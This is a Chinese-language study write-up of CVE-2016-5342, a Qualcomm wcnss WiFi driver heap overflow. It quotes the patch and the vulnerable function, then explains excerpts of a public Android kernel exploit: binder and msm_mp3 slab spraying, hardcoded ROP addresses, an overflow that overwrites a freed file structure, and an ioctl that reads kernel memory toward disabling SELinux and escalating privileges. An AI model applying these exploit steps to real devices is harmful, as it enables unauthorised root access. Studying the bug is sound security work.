EXP学习--CVE-2016-5342

[EXP学习]___CVE-2016-5342

编号: CVE-2016-5342
EXP: Github
EXP作者:freener
相关链接:AndroidBullitin,codeaurora

漏洞原理

这是一个存在于高通wifi驱动中的buffer overflow漏洞,通过PATCH分析漏洞的原理与后果。

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/drivers/net/wireless/wcnss/wcnss_wlan.c b/drivers/net/wireless/wcnss/wcnss_wlan.c
index 86f3a48..3f9eeab 100644
--- a/drivers/net/wireless/wcnss/wcnss_wlan.c
+++ b/drivers/net/wireless/wcnss/wcnss_wlan.c
@@ -3339,7 +3339,7 @@ static ssize_t wcnss_wlan_write(struct file *fp, const char __user
return -EFAULT;
if ((UINT32_MAX - count < penv->user_cal_rcvd) ||
- MAX_CALIBRATED_DATA_SIZE < count + penv->user_cal_rcvd) {
+ (penv->user_cal_exp_size < count + penv->user_cal_rcvd)) {
pr_err(DEVICE " invalid size to write %zu\n", count +
penv->user_cal_rcvd);
rc = -ENOMEM;

通过PATCH可知,漏洞原因是边界检查不严,问题出在count + penv->user_cal_rcvd的值上,函数不大,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
static ssize_t wcnss_wlan_write(struct file *fp, const char __user
*user_buffer, size_t count, loff_t *position)
{
int rc = 0;
u32 size = 0;
if (!penv || !penv->device_opened || penv->user_cal_available)
return -EFAULT;
if (penv->user_cal_rcvd == 0 && count >= 4
&& !penv->user_cal_data) {
rc = copy_from_user((void *)&size, user_buffer, 4); //获取用户态传入的前四个byte中的数据放入size中,这四个byte是传入数据的长度
if (!size || size > MAX_CALIBRATED_DATA_SIZE) {
pr_err(DEVICE " invalid size to write %d\n", size);
return -EFAULT;
}
rc += count;
count -= 4;
penv->user_cal_exp_size = size;
penv->user_cal_data = kmalloc(size, GFP_KERNEL);//分配size大小的空间用于存放数据
if (penv->user_cal_data == NULL) {
pr_err(DEVICE " no memory to write\n");
return -ENOMEM;
}
if (0 == count)
goto exit;
} else if (penv->user_cal_rcvd == 0 && count < 4)
return -EFAULT;
if ((UINT32_MAX - count < penv->user_cal_rcvd) ||
MAX_CALIBRATED_DATA_SIZE < count + penv->user_cal_rcvd) {
pr_err(DEVICE " invalid size to write %zu\n", count +
penv->user_cal_rcvd);
rc = -ENOMEM;
goto exit;
}
rc = copy_from_user((void *)penv->user_cal_data +
penv->user_cal_rcvd, user_buffer, count); //拷贝数据到分配的内存中
if (0 == rc) {
penv->user_cal_rcvd += count;
rc += count;
}
if (penv->user_cal_rcvd == penv->user_cal_exp_size) {
penv->user_cal_available = true;
pr_info_ratelimited("wcnss: user cal written");
}
exit:
return rc;
}

由此,问题很明显,分配的空间由size控制,拷贝的数据长度却由count控制。size即传入数据的前四个字节,count是用户传入的参数,所以如果count>size就可以越界写。

漏洞利用

通过漏洞原理学习freener的EXP代码就比较清晰了。

1.喷射

首先分配大量的binder_fd占用内存碎片,保证后面的分配的fd是连续的

1
2
3
4
5
6
7
8
printf( "[+] Spray SLUB Cache\n" );
for( ; i < BINDER_MAX_FDS; i++ ) {
binder_fd[i] = open( "/dev/binder", O_RDWR );
if ( binder_fd[i] < 0 ) {
printf( "[-] Can not open binder %d\n", i );
return -1;
}
}

然后分配几个fd用于部署ROP,由于之前大量分配的fd已经占用了分散的内存片,这些fd在内存中是连续的。

1
2
3
4
5
6
7
for ( i=0; i < MAX_FD; i++ ) {
fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK );
if ( fd[i] < 0 ) {
printf( "[-] Can not open /dev/msm_mp3\n" );
return -1;
}
}

2.部署ROP

freenr的代码中ROP的地址的特定机型,已经找好了硬编码在代码中的

1
2
3
#define ROP_READ ( 0xC04DBE88 )
………………
#define ROP_WRITE ( 0xC0760FE4 )

通过漏洞将ROP地址写入内核中。

1
2
3
4
5
6
7
8
9
10
11
int length = 512; //size
*(unsigned int *)buffer1 = length;
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_READ;
//构造数据
int count = 0;
close( fd[0] ); 释放一个fd的空间
count = write( fd_wlan, buffer1, message1_len + 4 ); //触发漏洞 第三个参数即count
printf( "[+] Trigger Kernel Execution Code\n" );
int result;

最初fd的状态
fd-orig.png
释放fd[0]空间
fd-release.png
触发漏洞将ROP写入fd[1]空间中,覆盖fd结构体中的函数
fd-overwrite.png
(PS:至于为什么会恰好写到释放的空间中,答案是linux内存的SLUB机制)

3.调用ROP

直接使用ioctl调用fd,就能调用ROP,将读写两个ROP分别写入两个fd,就可以拥有对内核的写与读能力。

1
2
3
4
5
result = ioctl( fd[1], 0x40046144, SELINUX_ENFORCING );
if ( result != 0x1 ) {
printf( "[-] Read Kernel Failed %x\n", result );
return -1;
}

后面就是关闭SELINUX,修改cred提权了,就不分析。